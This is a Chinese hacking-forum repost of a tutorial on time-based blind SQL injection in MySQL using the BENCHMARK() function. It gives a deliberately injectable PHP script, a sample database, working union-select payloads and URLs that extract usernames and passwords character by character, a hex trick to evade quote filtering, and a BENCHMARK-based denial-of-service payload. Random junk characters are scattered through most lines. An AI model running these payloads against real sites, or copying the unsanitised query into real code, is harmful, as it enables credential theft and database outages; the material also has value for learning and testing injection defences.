中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
* e* y* Y4 W! v7 `0 S; @: P本文作者:SuperHei5 @/ s8 k' Z/ p& o7 i8 K* J4 E
文章性质:原创
/ r4 M& @, |( t8 Z  a. V4 f+ P发布日期:2005-01-02/ D) w! V6 U$ C. V
完成日期:2004-07-09
8 {6 E4 Z! c. z; I9 \" B第一部! J; c' Q  V5 a- S4 A

" ]4 q( e  b! s2 u" B3 a利用时间推延进行注射---BENCHMARK函数在注射中的利用
( a( s+ [" W% Z7 u# j. T
+ V3 R# |9 y7 P6 M1 }# |  Z3 L一.前言/思路/ p: @) u. L8 ^
( B6 n( _  ?; o. p0 ]& R
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
7 g+ S$ \+ x0 c  Z
, u/ A" P& H3 r5 G- E( d2 x  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
( p* ?* a2 c7 E* w$ F( ^* [/ P) ~$ Q# U
二.关于BENCHMARK函数  j  B+ l% M( i! x# q: p8 ?
4 u( U3 I( a0 X% E  I1 j
  在MySQL参考手册里可以看到如下描叙:
. Z: b3 c" K0 [  j! c  M  J
) B3 Q* z2 }  y! T" i7 g9 Z
0 _; V; U. H. v7 O) R2 a5 s--------------------------------------------------------------------------------. @& N$ J0 E3 Q/ v7 U

, Y4 b6 w- @; Q! X2 ^BENCHMARK(count,expr)
7 _, _, x7 ?+ \$ T2 r3 YBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
/ N% K4 @' M# X/ x8 O( Y( Dmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
! k  [- o$ _2 d- L* K" F+----------------------------------------------+
+ E! t- m  ~% ]% E$ i/ N7 W) b| BENCHMARK(1000000,encode("hello","goodbye")) |
$ U6 n7 p% y) e+----------------------------------------------+
* f' i7 x# Z: Z: A3 i| 0 | $ R. f9 W, U9 w0 d+ S6 S
+----------------------------------------------+
/ t. Y9 d# z2 M& v3 S, u" C4 p. ?$ d: r7 i1 row in set (4.74 sec) 2 o1 l8 h2 r, O2 ^& ]
- R4 P, T# K- O; z$ n
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
1 A+ V7 o) q3 ^5 U% M$ N$ M
( F2 ]1 K3 p/ e  [) h6 t
: X: H- K2 j; E! [7 F0 J3 V/ C7 u--------------------------------------------------------------------------------- a( U' @# X4 r5 I* W9 g

! H$ G# ?7 x& @% I  x! `  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 0 [. j: P3 ?4 t) Y1 {7 k  d
7 I: Q3 A* K7 C
mysql> select md5( 'test' ); & K% N. ^+ g+ Z* y
+----------------------------------+
% G+ d6 ^) E) N# z0 `0 b; || md5( 'test' ) |
& {" ]8 v' i  b# \0 P  |& l6 N' G# q+----------------------------------+
5 f7 y. u. ?/ Q, l* j3 A| 098f6bcd4621d373cade4e832627b4f6 |
. j, K7 ~7 F4 o* Y0 O! G$ l# u+----------------------------------+ " c& z, F) u' Q$ j, t4 u' {9 c
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ) u( ]8 i) ~' S  ]' x9 W
$ ~3 e0 h/ e- i  V2 N0 K6 {
mysql> select benchmark( 500000, md5( 'test' ) ); / i- o1 r# m; k. k' G
+------------------------------------+
! v5 b; b* w+ }7 t9 H- Z| benchmark( 500000, md5( 'test' ) ) |
2 ^) u, t3 f8 f, e7 h+------------------------------------+ - _" \, `& t0 U+ t* E: m6 \7 b
| 0 | . W, \8 j7 k4 V3 |; G) [) c1 {
+------------------------------------+ : o, Z, k/ k4 R8 H
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec( P; _* R6 Y+ i7 `; a; K6 ^4 n

2 }9 z$ s( B" j* j
: r8 }. T1 d/ ~  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
' J+ b* i, k4 |2 m  h& b1 y7 q, ]. {" N, ~& ?
三.具体例子
! S) J* X+ S# O% {6 I; i3 b+ V9 M# o7 Q" G* H3 J/ E
  首先我们看个简单的php代码:: d. v% y2 U1 N- J; ?3 A: ^  T6 `& z

( w3 Y" x) ^& Y+ D4 [5 G< ?php # H6 S' [9 q& q$ {- o5 P* l2 p' ?
$servername = "localhost";   _  F$ h1 J" O8 x9 {
$dbusername = "root";
; ]- p, y  Y& t, ]1 S& ]9 O$dbpassword = ""; 9 k+ o8 F# J# ~. {
$dbname = "injection"; / n9 T$ Y# v" z/ h

* O' T/ }/ f% g# K" F* \& Ymysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); " O' ?  d: u% l7 Z, f' J

0 ~: x0 m& X) n8 ~2 i$sql = "SELECT * FROM article WHERE articleid=$id";
* p: P$ a# r( F) b$result = mysql_db_query($dbname,$sql);
3 o0 u# @: n6 G$ f, I$row = mysql_fetch_array($result);
: `2 i& D) a$ {' ?) c9 r) k5 Q7 P8 S& G4 I9 V0 |% v- W
if (!$row) , V  F# B) y* U. m% q6 P3 Y( t
{
8 K/ g5 W/ ~2 D) eexit; 5 `. c6 U% C4 F* n# Q0 w, x
}
" g4 G8 [# @" U( [?>
4 f/ [! c/ J* |8 @' C9 S% ` 2 C1 a( l+ z  o/ P1 J' g% q

- E- z+ n& F9 Y2 X2 p" j7 t  数据库injection结构和内容如下:2 n* y+ \" D  ~4 c' l  v- C
4 l& w" g& V* f
# 数据库 : `injection`
5 J0 B" S% C* X: i5 J#
8 g* s2 \+ d. V% f) @
4 y1 c3 A1 `  @7 }7 }2 x8 u1 j9 w4 ]- d! _9 i# -------------------------------------------------------- . O# U- P1 {  R  x: n

! b% d. u* H# s9 Z( b4 m; ^1 [#
# l/ O0 H: f3 n9 o$ P3 z# 表的结构 `article` ' H# _! {( k, J/ z
# % g, L1 D- f. p+ c( ^7 P6 s

1 K! \- ~  H4 KCREATE TABLE `article` (
6 l; X; w+ y, ?/ ~) e& w) g`articleid` int(11) NOT NULL auto_increment,
6 ]7 `) p1 l3 ^# _- v# O`title` varchar(100) NOT NULL default '',
% }# E, Z+ z3 i5 |- S`content` text NOT NULL, 1 c& v9 U( |3 |
PRIMARY KEY (`articleid`)
3 ^7 Y$ f2 f& j) x) TYPE=MyISAM AUTO_INCREMENT=3 ; 9 f4 e. D; |. D( g' |) w

" h! Q' Z( q1 d* G8 d; ?" J* u#
+ r7 }$ }/ Y. l9 X! n# 导出表中的数据 `article` 6 [% v8 V+ N- e" l
#
- f# ~/ r- ?& B1 s  [( @: G+ l" T9 m: i
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
7 H+ x7 _; d" y) IINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
6 @5 y% z$ d8 k; x( S9 w3 @! _, s3 _2 F# ]0 L- U- {
# -------------------------------------------------------- ' ~! D4 s# n& Y+ A) k6 p2 t
6 o# w! n" m9 {9 B. V/ P
# 2 s* Z+ r+ a3 i( v! i- o8 V
# 表的结构 `user` ( F! B* |8 n9 i( G3 K
#
5 k( Y4 e5 x/ N& `
- X6 h' Z1 h! Z9 x6 wCREATE TABLE `user` ( 1 Z  n. S+ ], r5 I- T+ V+ ^" P  d
`userid` int(11) NOT NULL auto_increment, 3 B# D2 z8 d  _; U# m6 k1 w0 j
`username` varchar(20) NOT NULL default '', $ Q" @0 U0 Q# ~9 J& `0 s5 _  T
`password` varchar(20) NOT NULL default '',
: T  u! ]7 z3 Z6 F  k( F# L; s! m# O/ cPRIMARY KEY (`userid`)
1 p3 D) U. h6 D; R- K) TYPE=MyISAM AUTO_INCREMENT=3 ;
3 x4 n9 l3 q! Y& b3 b9 U, ^7 C9 k5 k8 u! u2 Y- g9 B' }/ e
#
. A% g# ~1 ^% X; s# 导出表中的数据 `user` ) L7 l6 {: i' s* t
#
, ]5 F: l+ s3 r4 M; E+ U, s! h2 |2 \! {3 s- P, A
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 G* T+ u; X* }% f, [) pINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
. W! [# C  s' B8 [3 ?' Y . M/ z( R/ T' T
9 V4 O$ c; W& c
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
. U: r! R: @4 A+ _( u+ B2 r) v  J' O- K0 S' U3 r  K
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 e1 r. [+ \4 k) ~& o & m& D* O9 J1 P. N5 g+ ~

2 K9 _3 E# {9 w, m' X8 ?9 w4 H7 D) T  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:* L! ~# I0 j8 X% d4 P$ I

3 ]0 F* I2 F/ Zhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*; |* P1 L6 G# J/ i  ~- S: I

% h" z& s# [/ H  q2 Y! w
& [7 I# X, u- A; m  s  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
& c* O! K1 U) F3 b
4 ^. g/ Q; K9 ^% f5 K7 c  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 7 ~; Z8 n" s# j2 m+ Y
* h7 i0 \% j; M+ r3 ?! n4 T! k
第二部
4 C0 N* f% h5 s5 Q. D" P1 k) u. F+ z6 G0 ~: I+ V' \/ _  p8 X2 l
利用BENCHMARK函数进行ddos攻击
8 o" M& K3 f( q6 q5 k0 `8 ?. J: v) d4 }- f) H1 U  h
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
& w/ b( O' e& E9 V
+ S* ~# `% f- I1 E4 jhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
: S" A/ s5 ]1 @* o' P 9 g/ V4 o# I' b0 ]4 ]
/ A" s+ h! d: Z4 o
小结
7 v+ ^' h# j8 @8 A# x4 U8 H2 M3 c2 n" e3 o, n$ M
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。# M4 w: T* w; M7 e2 q

( _: |. S2 s: ]5 B+ y5 V  9 X; T% s/ p0 _% x) h) z' H





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2